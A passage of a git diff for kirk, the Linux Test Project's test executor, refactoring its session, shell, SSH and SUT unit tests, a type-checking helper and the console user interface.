max_workers=max_workers, ) @@ -260,7 +262,7 @@ class TestTestScheduler: async def kernel_timeout(command, cwd=None, env=None, iobuffer=None) -> dict: raise asyncio.TimeoutError() - sut.run_command = kernel_timeout + sut.get_channel().run_command = kernel_timeout runner = create_runner(max_workers=workers) tests = [] @@ -317,7 +319,7 @@ class TestSuiteScheduler: """ @pytest.fixture - async def create_runner(self, sut, dummy_framework): + async def create_runner(self, sut, ltpdir): def _callback( suite_timeout: float = 3600.0, exec_timeout: float = 3600.0, @@ -325,7 +327,7 @@ class TestSuiteScheduler: ) -> SuiteScheduler: obj = MockSuiteScheduler( sut=sut, - framework=dummy_framework, + framework=LTPFramework(), suite_timeout=suite_timeout, exec_timeout=exec_timeout, max_workers=max_workers, @@ -394,7 +396,7 @@ class TestSuiteScheduler: index = 0 value = 0 - for msg in TAINTED_MSG: + for msg in sut.TAINTED_MSG: tainted.append((value, [msg])) value = pow(2, index) index += 1 @@ -466,7 +468,7 @@ class TestSuiteScheduler: async def kernel_timeout(command, cwd=None, env=None, iobuffer=None) -> dict: raise asyncio.TimeoutError() - sut.run_command = kernel_timeout + sut.get_channel().run_command = kernel_timeout runner = create_runner(max_workers=workers) tests = [] @@ -517,3 +519,4 @@ class TestSuiteScheduler: assert 0 <= res.exec_time < 0.4 assert res.return_code == 32 assert res.stdout == "" + assert res.status == ResultStatus.CONF diff --git a/ltp/tools/kirk/libkirk/tests/test_session.py b/ltp/tools/kirk/kirk-src/libkirk/tests/test_session.py similarity index 38% rename from ltp/tools/kirk/libkirk/tests/test_session.py rename to ltp/tools/kirk/kirk-src/libkirk/tests/test_session.py index 6d7facd2..e1cdbe3c 100644 --- a/ltp/tools/kirk/libkirk/tests/test_session.py +++ b/ltp/tools/kirk/kirk-src/libkirk/tests/test_session.py @@ -2,16 +2,21 @@ Unittests for the session module. """ -import asyncio +import os import json +import pathlib +import asyncio +from typing import List import pytest +from libkirk.ltp import LTPFramework +from libkirk.com import ComChannel +from libkirk.data import Test, Suite +from libkirk.results import TestResults from libkirk.session import Session from libkirk.tempfile import TempDir -pytestmark = pytest.mark.asyncio - @pytest.fixture async def sut(): @@ -21,24 +26,184 @@ async def sut(): raise NotImplementedError() +class DummyFramework(LTPFramework): + """ + A generic framework created for testing. + """ + + async def get_suites(self, channel: ComChannel) -> List[str]: + return ["suite01", "suite02", "sleep", "environ", "kernel_panic"] + + async def find_command(self, channel: ComChannel, command: str) -> Test: + return Test(name=command, cmd=command) + + async def find_suite(self, channel: ComChannel, name: str) -> Suite: + if name in "suite01": + test0 = Test( + name="test01", + cwd=self._root, + env=self._env, + cmd="echo", + args=["-n", "ciao0"], + parallelizable=False, + ) + + test1 = Test( + name="test02", + cwd=self._root, + env=self._env, + cmd="echo", + args=["-n", "ciao0"], + parallelizable=False, + ) + + return Suite(name, [test0, test1]) + if name == "suite02": + test0 = Test( + name="test01", + cwd=self._root, + env=self._env, + cmd="echo", + args=["-n", "ciao0"], + parallelizable=False, + ) + + test1 = Test( + name="test02", + cwd=self._root, + env=self._env, + cmd="sleep", + args=["0.2", "&&", "echo", "-n", "ciao1"], + parallelizable=True, + ) + + return Suite(name, [test0, test1]) + elif name == "sleep": + test0 = Test( + name="test01", + cwd=self._root, + env=self._env, + cmd="sleep", + args=["2"], + parallelizable=False, + ) + + test1 = Test( + name="test02", + cwd=self._root, + env=self._env, + cmd="sleep", + args=["2"], + parallelizable=False, + ) + + return Suite(name, [test0, test1]) + elif name == "environ": + test0 = Test( + name="test01", + cwd=self._root, + env=self._env, + cmd="echo", + args=["-n", "$hello"], + parallelizable=False, + ) + + return Suite(name, [test0]) + else: + test0 = Test( + name="test01", + cwd=self._root, + env=self._env, + cmd="echo", + args=["Kernel", "panic"], + parallelizable=False, + ) + + test1 = Test( + name="test01", + cwd=self._root, + env=self._env, + cmd="sleep", + args=["0.2"], + parallelizable=False, + ) + + return Suite(name, [test0, test1]) + + async def read_result( + self, test: Test, stdout: str, retcode: int, exec_t: float + ) -> TestResults: + passed = 0 + failed = 0 + skipped = 0 + broken = 0 + skipped = 0 + warnings = 0 + error = retcode == -1 + + if retcode == 0: + passed = 1 + elif retcode == 4: + warnings = 1 + elif retcode == 32: + skipped = 1 + elif not error: + failed = 1 + + if error: + broken = 1 + + result = TestResults( + test=test, + passed=passed, + failed=failed, + broken=broken, + skipped=skipped, + warnings=warnings, + exec_time=exec_t, + retcode=retcode, + stdout=stdout, + ) + + return result + + class _TestSession: """ Test for Session class. """ @pytest.fixture - async def session(self, tmpdir, sut, dummy_framework): + async def session(self, tmpdir, sut): """ Session communication object. """ - session = Session( - tmpdir=TempDir(str(tmpdir)), framework=dummy_framework, sut=sut - ) + # make sure that ltp folder is present inside the host + pathlib.Path("/opt/ltp").mkdir(parents=True, exist_ok=True) + session = Session(tmpdir=TempDir(tmpdir), sut=sut) + session._framework = DummyFramework() yield session - await asyncio.wait_for(session.stop(), timeout=30) + async def read_report(self, report): + report_data = {} + counter = 0 + + while True: + counter += 1 + try: + with open(report, "r", encoding="utf-8") as report_file: + report_data = json.loads(report_file.read()) + break + except FileNotFoundError as ex: + if counter >= 10: + raise ex + + await asyncio.sleep(0.2) + + return report_data + async def test_run(self, session): """ Test run method when executing suites. @@ -54,9 +219,8 @@ class _TestSession: suites=["suite01", "suite02"], pattern="test01|test02", report_path=report ) - with open(report, "r", encoding="utf-8") as report_file: - report_data = json.loads(report_file.read()) - assert len(report_data["results"]) == 4 + report_data = await self.read_report(report) + assert len(report_data["results"]) == 4 async def test_run_report(self, tmpdir, session): """ @@ -65,9 +229,8 @@ class _TestSession: report = str(tmpdir / "report.json") await session.run(suites=["suite01", "suite02"], report_path=report) - with open(report, "r") as report_file: - report_data = json.loads(report_file.read()) - assert len(report_data["results"]) == 4 + report_data = await self.read_report(report) + assert len(report_data["results"]) == 4 async def test_run_stop(self, session): """ @@ -86,6 +249,25 @@ class _TestSession: ] ) + async def test_run_force_stop(self, session): + """ + Test stop method when it's called twice. We just ensure that the + session implementation won't crash or generate exceptions and it will + forcibly stop the current run. + """ + + async def stop(): + await asyncio.sleep(0.1) + await session.stop() + + await asyncio.gather( + *[ + session.run(suites=["sleep"]), + stop(), + stop(), + ] + ) + async def test_run_command(self, session): """ Test run method when running a single command. @@ -112,9 +294,8 @@ class _TestSession: suites=["suite01", "suite02"], skip_tests="test0[23]", report_path=report ) - with open(report, "r", encoding="utf-8") as report_file: - report_data = json.loads(report_file.read()) - assert len(report_data["results"]) == 2 + report_data = await self.read_report(report) + assert len(report_data["results"]) == 2 @pytest.mark.parametrize( "iterate,expect", @@ -133,25 +314,22 @@ class _TestSession: suites=["suite01", "suite02"], suite_iterate=iterate, report_path=report ) - with open(report, "r", encoding="utf-8") as report_file: - report_data = json.loads(report_file.read()) - assert len(report_data["results"]) == expect + report_data = await self.read_report(report) + assert len(report_data["results"]) == expect + @pytest.mark.xfail(reason="Instable test on CI") async def test_run_randomize(self, tmpdir, session): """ Test run method when executing shuffled tests. """ - num_of_suites = 50 + num_of_suites = 10 report = str(tmpdir / "report.json") await session.run( suites=["suite01"] * num_of_suites, randomize=True, report_path=report ) - report_data = None - with open(report, "r", encoding="utf-8") as report_file: - report_data = json.loads(report_file.read()) - + report_data = await self.read_report(report) assert len(report_data["results"]) == 2 * num_of_suites tests_names = [] @@ -160,13 +338,13 @@ class _TestSession: assert ["test01", "test02"] * num_of_suites != tests_names + @pytest.mark.skip(reason="Instable test on CI") async def test_run_runtime(self, tmpdir, session): """ Test run method when executing suites for a certain amount of time. """ report = str(tmpdir / "report.json") - await session.run(suites=["suite01"], runtime=1, report_path=report) + await session.run(suites=["suite01"], runtime=0.5, report_path=report) - with open(report, "r", encoding="utf-8") as report_file: - report_data = json.loads(report_file.read()) - assert len(report_data["results"]) >= 2 + report_data = await self.read_report(report) + assert len(report_data["results"]) >= 0.5 diff --git a/ltp/tools/kirk/kirk-src/libkirk/tests/test_shell.py b/ltp/tools/kirk/kirk-src/libkirk/tests/test_shell.py new file mode 100644 index 00000000..1c970957 --- /dev/null +++ b/ltp/tools/kirk/kirk-src/libkirk/tests/test_shell.py @@ -0,0 +1,65 @@ +""" +Unittests for ShellComChannel. +""" + +import pytest + +from libkirk.sut_base import GenericSUT +from libkirk.tests.test_sut import _TestSUT +from libkirk.tests.test_session import _TestSession +from libkirk.channels.shell import ShellComChannel +from libkirk.tests.test_com import _TestComChannel + + +@pytest.fixture +async def com(): + obj = ShellComChannel() + obj.setup() + + yield obj + + if await obj.active(): + await obj.stop() + + +class TestShellComChannel(_TestComChannel): + """ + Test ShellComChannel implementation. + """ + + @pytest.fixture + def com_stop_sleep(self, request): + """ + ShellComChannel test doesn't require time sleep in + `test_stop_communicate`. + """ + return request.param * 0 + + async def test_fetch_file_stop(self): + pytest.skip(reason="Coroutines don't support I/O file handling") + + +@pytest.fixture +async def sut(com): + """ + SUT object to test. + """ + obj = GenericSUT() + obj.setup(com="shell") + + yield obj + + if await obj.is_running(): + await obj.stop() + + +class TestSUTShellComChannel(_TestSUT): + """ + Test GenericSUT using ShellComChannel. + """ + + +class TestSessionShellComChannel(_TestSession): + """ + Test Session using ShellComChannel. + """ diff --git a/ltp/tools/kirk/libkirk/tests/test_ssh.py b/ltp/tools/kirk/kirk-src/libkirk/tests/test_ssh.py similarity index 57% rename from ltp/tools/kirk/libkirk/tests/test_ssh.py rename to ltp/tools/kirk/kirk-src/libkirk/tests/test_ssh.py index 32a741dc..34e16045 100644 --- a/ltp/tools/kirk/libkirk/tests/test_ssh.py +++ b/ltp/tools/kirk/kirk-src/libkirk/tests/test_ssh.py @@ -1,5 +1,5 @@ """ -Unittests for ssh module. +Unittests for SSHComChannel. """ import asyncio @@ -8,13 +8,16 @@ import subprocess import pytest +import libkirk.com from libkirk.errors import KernelPanicError -from libkirk.ssh import SSHSUT -from libkirk.sut import IOBuffer -from libkirk.tests.test_session import _TestSession +from libkirk.channels.ssh import SSHComChannel +from libkirk.com import IOBuffer +from libkirk.sut_base import GenericSUT from libkirk.tests.test_sut import _TestSUT +from libkirk.tests.test_com import _TestComChannel +from libkirk.tests.test_session import _TestSession -pytestmark = [pytest.mark.asyncio, pytest.mark.ssh] +pytestmark = [pytest.mark.ssh] TEST_SSH_USERNAME = os.environ.get("TEST_SSH_USERNAME", None) TEST_SSH_PASSWORD = os.environ.get("TEST_SSH_PASSWORD", None) @@ -34,28 +37,29 @@ if not TEST_SSH_KEY_FILE: @pytest.fixture def config(): """ - Base configuration to connect to SUT. + Base configuration to connect to ComChannel. """ raise NotImplementedError() @pytest.fixture -async def sut(config): +async def com(config): """ - SSH SUT communication object. + SSH communication object. """ - _sut = SSHSUT() - _sut.setup(**config) + obj = SSHComChannel() + obj = next((c for c in libkirk.com.get_channels() if c.name == "ssh"), None) + obj.setup(**config) - yield _sut + yield obj - if await _sut.is_running: - await _sut.stop() + if await obj.active(): + await obj.stop() -class _TestSSHSUT(_TestSUT): +class _TestSSHComChannel(_TestComChannel): """ - Test SSHSUT implementation using username/password. + Test SSHComChannel implementation using username/password. """ async def test_reset_cmd(self, config): @@ -65,9 +69,9 @@ class _TestSSHSUT(_TestSUT): kwargs = dict(reset_cmd="echo ciao") kwargs.update(config) - sut = SSHSUT() - sut.setup(**kwargs) - await sut.communicate() + com = SSHComChannel() + com.setup(**kwargs) + await com.communicate() class MyBuffer(IOBuffer): data = "" @@ -78,7 +82,7 @@ class _TestSSHSUT(_TestSUT): await asyncio.sleep(0.1) buffer = MyBuffer() - await sut.stop(iobuffer=buffer) + await com.stop(iobuffer=buffer) assert buffer.data == "ciao\n" @@ -90,40 +94,40 @@ class _TestSSHSUT(_TestSUT): kwargs = dict(sudo=enable) kwargs.update(config) - sut = SSHSUT() - sut.setup(**kwargs) - await sut.communicate() - ret = await sut.run_command("whoami") + com = SSHComChannel() + com.setup(**kwargs) + await com.communicate() + ret = await com.run_command("whoami") if enable == "1": assert ret["stdout"] == "root\n" else: assert ret["stdout"] != "root\n" - async def test_kernel_panic(self, sut): + async def test_kernel_panic(self, com): """ Test kernel panic recognition. """ - await sut.communicate() + await com.communicate() with pytest.raises(KernelPanicError): - await sut.run_command("echo 'Kernel panic\nThis is a generic message'") + await com.run_command("echo 'Kernel panic\nThis is a generic message'") - async def test_stderr(self, sut): + async def test_stderr(self, com): """ Test if we are correctly reading stderr. """ - await sut.communicate() + await com.communicate() - ret = await sut.run_command(">&2 echo ciao_stderr && echo ciao_stdout") + ret = await com.run_command(">&2 echo ciao_stderr && echo ciao_stdout") assert "ciao_stdout" in ret["stdout"] assert "ciao_stderr" in ret["stdout"] - async def test_long_stdout(self, sut): + async def test_long_stdout(self, com): """ Test really long stdout. """ - await sut.communicate() + await com.communicate() result = subprocess.run( "tr -dc 'a-zA-Z0-9' None: + self._logger = logging.getLogger("test.sut") + + async def write(self, data: str) -> None: + print(data, end="") + + +@pytest.fixture +async def sut(): + """ + SUT object to test. + """ + raise NotImplementedError() + + +class _TestSUT: + """ + Unittest for GenericSUT implementations. + """ + + async def test_get_channel(self, sut): + """ + Test if get_channel() returns a communication channel when SUT has + been initialized. + """ + assert sut.get_channel() + + async def test_start(self, sut): + """ + Test start method. + """ + await sut.start(iobuffer=Printer()) + assert await sut.is_running() + + @pytest.fixture + def sut_stop_sleep(self, request): + """ + Setup sleep time before calling stop after communicate. + By changing multiply factor it's possible to tweak stop sleep and + change the behaviour of `test_stop_communicate`. + """ + return request.param * 1.0 + + @pytest.mark.parametrize("sut_stop_sleep", [1, 2], indirect=True) + async def test_start_stop(self, sut, sut_stop_sleep): + """ + Test stop method when running start. + """ + async def stop(): + await asyncio.sleep(sut_stop_sleep) + await sut.stop(iobuffer=Printer()) + + await asyncio.gather( + *[sut.start(iobuffer=Printer()), stop()], return_exceptions=True + ) + + async def test_config_help(self, sut): + """ + Test if config_help has the right type. + """ + assert isinstance(sut.config_help, dict) + + async def test_get_info(self, sut): + """ + Test get_info method. + """ + await sut.start(iobuffer=Printer()) + info = await sut.get_info() + + assert info["distro"] + assert info["distro_ver"] + assert info["kernel"] + assert info["cmdline"] + assert info["arch"] + + async def test_get_tainted_info(self, sut): + """ + Test get_tainted_info. + """ + await sut.start(iobuffer=Printer()) + code, messages = await sut.get_tainted_info() + + assert code >= 0 + assert isinstance(messages, list) + + # TODO: test the following + # - tainted info + # - fault injection + # - is root + + +def test_discover(tmpdir): + """ + Test if SUT implementations are correctly discovered. + """ + impl = [] + impl.append(tmpdir / "sutA.py") + impl.append(tmpdir / "sutB.py") + impl.append(tmpdir / "sutC.txt") + + for index in range(0, len(impl)): + impl[index].write( + "from libkirk.sut import SUT\n\n" + f"class MySUT{index}(SUT):\n" + " @property\n" + " def name(self) -> str:\n" + f" return 'sut{index}'\n" + ) + + libkirk.sut.discover(str(tmpdir), extend=False) + + suts = libkirk.sut.get_suts() + assert len(suts) == 2 + + names = [c.name for c in suts] + assert "sut0" in names + assert "sut1" in names diff --git a/ltp/tools/kirk/libkirk/tests/test_tempfile.py b/ltp/tools/kirk/kirk-src/libkirk/tests/test_tempfile.py similarity index 100% rename from ltp/tools/kirk/libkirk/tests/test_tempfile.py rename to ltp/tools/kirk/kirk-src/libkirk/tests/test_tempfile.py diff --git a/ltp/tools/kirk/libkirk/tests/test_types.py b/ltp/tools/kirk/kirk-src/libkirk/tests/test_types.py similarity index 100% rename from ltp/tools/kirk/libkirk/tests/test_types.py rename to ltp/tools/kirk/kirk-src/libkirk/tests/test_types.py diff --git a/ltp/tools/kirk/libkirk/types.py b/ltp/tools/kirk/kirk-src/libkirk/types.py similarity index 36% rename from ltp/tools/kirk/libkirk/types.py rename to ltp/tools/kirk/kirk-src/libkirk/types.py index 12a1cb4a..9e4e7c41 100644 --- a/ltp/tools/kirk/libkirk/types.py +++ b/ltp/tools/kirk/kirk-src/libkirk/types.py @@ -6,7 +6,12 @@ .. moduleauthor:: Andrea Cervesato """ -from typing import Any, Dict, Optional, Type +from typing import ( + Any, + Dict, + Optional, + Type, +) def dict_item( @@ -15,19 +20,30 @@ def dict_item( """ Extract a value from a dictionary according to the key, ensuring that correct type is returned. + + :param data: Dictionary from where we want to extract data. + :type data: dict + :param key: Key we are searching for. + :type key: str + :param cls: Type we want to extract. + :type cls: Type + :param default: Default value. + :type default: Any | None + :return: Type of the default value. + :rtype: Any """ - val = data.get(key, None) - if not val: - if default is None: - return None + if key not in data: + return cls(default) if default is not None else None - return cls(default) + val = data[key] - cls_type = cls.__name__ + cls_name = cls.__name__ + numeric_types = {"int", "float"} - if not isinstance(val, cls) and cls_type not in ["int", "float"]: + # Check type compatibility (skip for numeric conversions) + if not isinstance(val, cls) and cls_name not in numeric_types: raise TypeError( - f"dict value must be a {cls.__name__} but it's {type(val).__name__}" + f"dict value must be a {cls_name} but it's {type(val).__name__}" ) return cls(val) diff --git a/ltp/tools/kirk/libkirk/ui.py b/ltp/tools/kirk/kirk-src/libkirk/ui.py similarity index 57% rename from ltp/tools/kirk/libkirk/ui.py rename to ltp/tools/kirk/kirk-src/libkirk/ui.py index d7511beb..617ee35c 100644 --- a/ltp/tools/kirk/libkirk/ui.py +++ b/ltp/tools/kirk/kirk-src/libkirk/ui.py @@ -9,11 +9,20 @@ import platform import sys import traceback -from typing import List, Optional +from typing import ( + List, + Optional, +) import libkirk -from libkirk.data import Suite, Test -from libkirk.results import SuiteResults, TestResults +from libkirk.data import ( + Suite, + Test, +) +from libkirk.results import ( + SuiteResults, + TestResults, +) class ConsoleUserInterface: @@ -33,48 +42,57 @@ class ConsoleUserInterface: self._no_colors = no_colors self._line = "" self._restore = "" - - libkirk.events.register("session_restore", self.session_restore) - libkirk.events.register("session_started", self.session_started) - libkirk.events.register("session_stopped", self.session_stopped) - libkirk.events.register("sut_start", self.sut_start) - libkirk.events.register("sut_stop", self.sut_stop) - libkirk.events.register("sut_restart", self.sut_restart) - libkirk.events.register("run_cmd_start", self.run_cmd_start) - libkirk.events.register("run_cmd_stdout", self.run_cmd_stdout) - libkirk.events.register("run_cmd_stop", self.run_cmd_stop) - libkirk.events.register("suite_started", self.suite_started) - libkirk.events.register("suite_completed", self.suite_completed) - libkirk.events.register("suite_timeout", self.suite_timeout) - libkirk.events.register("session_warning", self.session_warning) - libkirk.events.register("session_error", self.session_error) - libkirk.events.register("session_completed", self.session_completed) - libkirk.events.register("internal_error", self.internal_error) + self._num_suites = 1 + + event_handlers = { + "session_restore": self.session_restore, + "session_started": self.session_started, + "session_stopped": self.session_stopped, + "sut_start": self.sut_start, + "sut_stop": self.sut_stop, + "sut_restart": self.sut_restart, + "run_cmd_start": self.run_cmd_start, + "run_cmd_stdout": self.run_cmd_stdout, + "run_cmd_stop": self.run_cmd_stop, + "suite_started": self.suite_started, + "suite_completed": self.suite_completed, + "suite_timeout": self.suite_timeout, + "session_warning": self.session_warning, + "session_error": self.session_error, + "session_completed": self.session_completed, + "internal_error": self.internal_error, + } + + for event_name, handler in event_handlers.items(): + libkirk.events.register(event_name, handler) # we register a special event 'printf' with ordered coroutines, # so we ensure that print threads will be executed one after the # other and user interface will be printed in the correct way libkirk.events.register("printf", self.print_message, ordered=True) - async def _print(self, msg: str, color: Optional[str] = None, end: str = "\n"): + async def _print( + self, msg: str, color: Optional[str] = None, end: str = "\n" + ) -> None: """ Fire a `printf` event. """ - msg = msg.replace(self.RESET_SCREEN, "") - msg = msg.replace("\r", "") + msg = msg.replace(self.RESET_SCREEN, "").replace("\r", "") if color and not self._no_colors: msg = f"{color}{msg}{self.RESET_COLOR}" await libkirk.events.fire("printf", msg, end=end, flush=True) - async def print_message(self, msg: str, end: str = "\n", flush: bool = True): + async def print_message( + self, msg: str, end: str = "\n", flush: bool = True + ) -> None: """ Print a message in console, avoiding any I/O blocking operation done by the `print` built-in function, using `asyncio.to_thread()`. """ - def _wrap(): + def _wrap() -> None: print(msg, end=end, flush=flush) await libkirk.to_thread(_wrap) @@ -85,41 +103,134 @@ class ConsoleUserInterface: Return a user-friendly duration time from seconds. For example, "3670.234" becomes "1h 0m 10s". """ + if duration == 0: + return "0h 0m 0s" + minutes, seconds = divmod(duration, 60) hours, minutes = divmod(minutes, 60) - uf_time = "" if hours > 0: - uf_time = f"{hours:.0f}h {minutes:.0f}m {seconds:.0f}s" + return f"{hours:.0f}h {minutes:.0f}m {seconds:.0f}s" elif minutes > 0: - uf_time = f"{minutes:.0f}m {seconds:.0f}s" + return f"{minutes:.0f}m {seconds:.0f}s" else: - uf_time = f"{seconds:.3f}s" + return f"{seconds:.3f}s" + + @staticmethod + def _format_cmdline(cmdline: Optional[str]) -> str: + """ + Format cmdline to show kernel parameters on multiple lines + while preserving initial spaces. + """ + if not cmdline: + return "" + + parts = cmdline.split() + if not parts: + return cmdline + + formatted = parts[0] + for part in parts[1:]: + formatted += f"\n {part}" + + return formatted + + def _result_color(self, results: TestResults) -> tuple: + """ + Return test result string and the color associated to it. + """ + if results.failed > 0: + return "fail", self.RED + if results.skipped > 0: + return "skip", self.CYAN + if results.broken > 0: + return "broken", self.RED + + return "pass", self.GREEN + + async def _print_underline(self, msg: str) -> None: + """ + Print an underlined message. + """ + final_msg = f"{msg}\n{'─' * len(msg)}" + await self._print(final_msg) + + async def _print_section(self, msg: str) -> None: + """ + Print a section title surrounded by lines. + """ + line = "─" * (len(msg) + 12) + space = " " * 6 + await self._print(f"{line}\n{space}{msg}\n{line}") + + async def _print_target_info(self, results: SuiteResults) -> None: + """ + Print target information. + """ + message = ( + f"Kernel: {results.kernel}\n" + f"Cmdline: {self._format_cmdline(results.cmdline)}\n" + f"Machine: {results.cpu}\n" + f"Arch: {results.arch}\n" + f"RAM: {results.ram}\n" + f"Swap: {results.swap}\n" + f"Distro: {results.distro} {results.distro_ver}\n" + ) + + await self._print_underline("Target information") + await self._print(message) + + async def _print_summary(self, results: List[SuiteResults]) -> None: + """ + Print a summary for a list of testing suites. + """ + suites = ", ".join([s_res.suite.name for s_res in results]) + test_runs = sum(len(res.tests_results) for res in results) + passed = sum(result.passed for result in results) + failed = sum(result.failed for result in results) + skipped = sum(result.skipped for result in results) + broken = sum(result.broken for result in results) + warnings = sum(result.warnings for result in results) + exec_time = sum(result.exec_time for result in results) + exec_time_uf = self._user_friendly_duration(exec_time) - return uf_time + message = ( + f"Suite: {suites}\n" + f"Runtime: {exec_time_uf}\n" + f"Runs: {test_runs}\n\n" + "Results:\n" + f" Passed: {passed}\n" + f" Failed: {failed}\n" + f" Broken: {broken}\n" + f" Skipped: {skipped}\n" + f" Warnings: {warnings}\n" + ) + await self._print(message) async def session_restore(self, restore: str) -> None: await self._print(f"Restore session: {restore}") - async def session_started(self, tmpdir: str) -> None: - uname = platform.uname() + async def session_started(self, suites: list, tmpdir: str) -> None: + self._num_suites = len(suites) if suites is not None else 0 - message = [] - message.append("Host information\n") - message.append(f"\tHostname: {uname.node}") - message.append(f"\tPython: {sys.version}") - message.append(f"\tDirectory: {tmpdir}\n") + uname = platform.uname() + message = ( + "Host information\n" + f"\tHostname: {uname.node}\n" + f"\tPython: {sys.version}\n" + f"\tDirectory: {tmpdir}\n" + ) - await self._print("\n".join(message)) + await self._print(message) async def session_stopped(self) -> None: await self._print("Session stopped") async def sut_start(self, sut: str) -> None: - await self._print(f"Connecting to SUT: {sut}") + await self._print(f"Connecting to SUT: {sut}\n") async def sut_stop(self, sut: str) -> None: - await self._print(f"\nDisconnecting from SUT: {sut}") + await self._print(f"Disconnecting from SUT: {sut}") async def sut_restart(self, sut: str) -> None: await self._print(f"Restarting SUT: {sut}") @@ -134,37 +245,20 @@ class ConsoleUserInterface: await self._print(f"\nExit code: {returncode}\n") async def suite_started(self, suite: Suite) -> None: - suite_msg = f"\nStarting suite: {suite.name}" - - message = [] - message.append(suite_msg) - message.append("-" * len(suite_msg)) - - await self._print("\n".join(message)) + suite_msg = f"Suite: {suite.name}" + await self._print_underline(suite_msg) async def suite_completed(self, results: SuiteResults, exec_time: float) -> None: - duration = self._user_friendly_duration(results.exec_time) exec_time_uf = self._user_friendly_duration(exec_time) - message = [] - message.append(" " * 128) - message.append(f"Execution time: {exec_time_uf}\n") - message.append(f"\tSuite: {results.suite.name}") - message.append(f"\tTotal runs: {len(results.suite.tests)}") - message.append(f"\tRuntime: {duration}") - message.append(f"\tPassed: {results.passed}") - message.append(f"\tFailed: {results.failed}") - message.append(f"\tSkipped: {results.skipped}") - message.append(f"\tBroken: {results.broken}") - message.append(f"\tWarnings: {results.warnings}") - message.append(f"\tKernel: {results.kernel}") - message.append(f"\tMachine: {results.cpu}") - message.append(f"\tArch: {results.arch}") - message.append(f"\tRAM: {results.ram}") - message.append(f"\tSwap: {results.swap}") - message.append(f"\tDistro: {results.distro} {results.distro_ver}") - - await self._print("\n".join(message)) + message = f"\nExecution time: {exec_time_uf}\n" + + await self._print(message) + + # there's no need to print more than one summary if we only have + # one testing suite + if self._num_suites > 1: + await self._print_summary([results]) async def suite_timeout(self, suite: Suite, timeout: float) -> None: await self._print( @@ -178,39 +272,35 @@ class ConsoleUserInterface: await self._print(f"Error: {error}", color=self.RED) async def session_completed(self, results: List[SuiteResults]) -> None: - if len(results) < 2: + if not results: return - num_runs = 0 - passed = 0 - failed = 0 - skipped = 0 - broken = 0 - warnings = 0 - exec_time = 0.0 - - for result in results: - num_runs += len(result.tests_results) - passed += result.passed - failed += result.failed - skipped += result.skipped - broken += result.broken - warnings += result.warnings - exec_time += result.exec_time - - exec_time_uf = self._user_friendly_duration(exec_time) - - message = [] - message.append(f"\nSuites completed: {len(results)}\n") - message.append(f"\tTotal runs: {num_runs}") - message.append(f"\tRuntime: {exec_time_uf}") - message.append(f"\tPassed: {passed}") - message.append(f"\tFailed: {failed}") - message.append(f"\tSkipped: {skipped}") - message.append(f"\tBroken: {broken}") - message.append(f"\tWarnings: {warnings}") - - await self._print("\n".join(message)) + await self._print("") + await self._print_target_info(results[0]) + await self._print_section("TEST SUMMARY") + await self._print_summary(results) + + t_broken = [] + t_failed = [] + + for s_res in results: + for t_res in s_res.tests_results: + if t_res.failed > 0: + t_failed.append(t_res) + if t_res.broken > 0: + t_broken.append(t_res) + + if t_broken: + await self._print("Broken:", color=self.RED) + msg = [f" • {t.test.name}" for t in t_broken] + await self._print("\n".join(msg)) + await self._print("") + + if t_failed: + await self._print("Failures:", color=self.RED) + msg = [f" • {t.test.name}" for t in t_failed] + await self._print("\n".join(msg)) + await self._print("") async def internal_error(self, exc: BaseException, func_name: str) -> None: await self._print( @@ -268,19 +358,7 @@ class SimpleUserInterface(ConsoleUserInterface): self._timed_out = False return - msg = "pass" - col = self.GREEN - - if results.failed > 0: - msg = "fail" - col = self.RED - elif results.skipped > 0: - msg = "skip" - col = self.YELLOW - elif results.broken > 0: - msg = "broken" - col = self.CYAN - + msg, col = self._result_color(results) await self._print(msg, color=col, end="") if self._kernel_tainted: @@ -319,32 +397,34 @@ class VerboseUserInterface(ConsoleUserInterface): self._timed_out = True async def test_started(self, test: Test) -> None: - await self._print("\n===== ", end="") - await self._print(test.name, color=self.CYAN, end="") - await self._print(" =====") - await self._print("command: ", end="") - await self._print(test.full_command) + await self._print_section(test.name) + await self._print("Executing: ", end="") + await self._print(test.full_command, end="\n\n") async def test_completed(self, results: TestResults) -> None: - message = [] - if self._timed_out: await self._print("Test timed out", color=self.RED) self._timed_out = False + parts = [] + if "Summary:" not in results.stdout: - message.append("\nSummary:") - message.append(f"passed {results.passed}") - message.append(f"failed {results.failed}") - message.append(f"broken {results.broken}") - message.append(f"skipped {results.skipped}") - message.append(f"warnings {results.warnings}") + parts.extend( + [ + "\nSummary:", + f"passed {results.passed}", + f"failed {results.failed}", + f"broken {results.broken}", + f"skipped {results.skipped}", + f"warnings {results.warnings}", + ] + ) uf_time = self._user_friendly_duration(results.exec_time) - message.append(f"\nDuration: {uf_time}\n") + parts.append(f"\nDuration: {uf_time}\n") - await self._print("\n".join(message)) + await self._print("\n".join(parts)) async def test_stdout(self, _: Test, data: str) -> None: await self._print(data, end="") @@ -385,18 +465,14 @@ class ParallelUserInterface(ConsoleUserInterface): self._timed_out = True async def print_parallel(self, suite: Suite) -> None: - msg = [] - - for test in suite.tests: - if not test.parallelizable: - continue - - self._pl_total += 1 - msg.append(f"- {test.name}") + parallel_tests = [ + f"• {test.name}" for test in suite.tests if test.parallelizable + ] - if msg: + if parallel_tests: + self._pl_total += len(parallel_tests) await self._print("Following tests will run in parallel:") - await self._print("\n".join(msg), end="\n\n") + await self._print("\n".join(parallel_tests), end="\n\n") async def test_completed(self, results: TestResults) -> None: if results.test.parallelizable: @@ -417,21 +493,7 @@ class ParallelUserInterface(ConsoleUserInterface): # this message will replace ok/fail message await self._print("kernel panic", color=self.RED) else: - msg = "pass" - col = self.GREEN - - if results.failed > 0: - msg = "fail" - col = self.RED - elif results.skipped > 0: - msg = "skip" - col = self.YELLOW - elif results.broken > 0: - msg = "broken" - col = self.CYAN - - await self._print(msg, color=col, end="") - + msg, col = self._result_color(results) if self._kernel_tainted: await self._print(" | ", end="") await self._print("tainted", color=self.YELLOW, end="") diff --git a/ltp/tools/kirk/pyproject.toml b/ltp/tools/kirk/kirk-src/pyproject.toml similarity index 78% rename from ltp/tools/kirk/pyproject.toml rename to ltp/tools/kirk/kirk-src/pyproject.toml index 5151df01..a0dccd2a 100644 --- a/ltp/tools/kirk/pyproject.toml +++ b/ltp/tools/kirk/kirk-src/pyproject.toml @@ -5,7 +5,7 @@ build-backend = "setuptools.build_meta" [project] name = "kirk" dynamic = ["version"] -description = "All-in-one Linux Testing Framework" +description = "Linux Test Project tests executor" readme = "README.md" license = {file = "LICENSE"} requires-python = ">=3.6" @@ -29,6 +29,7 @@ classifiers = [ "Programming Language :: Python :: 3.11", "Programming Language :: Python :: 3.12", "Programming 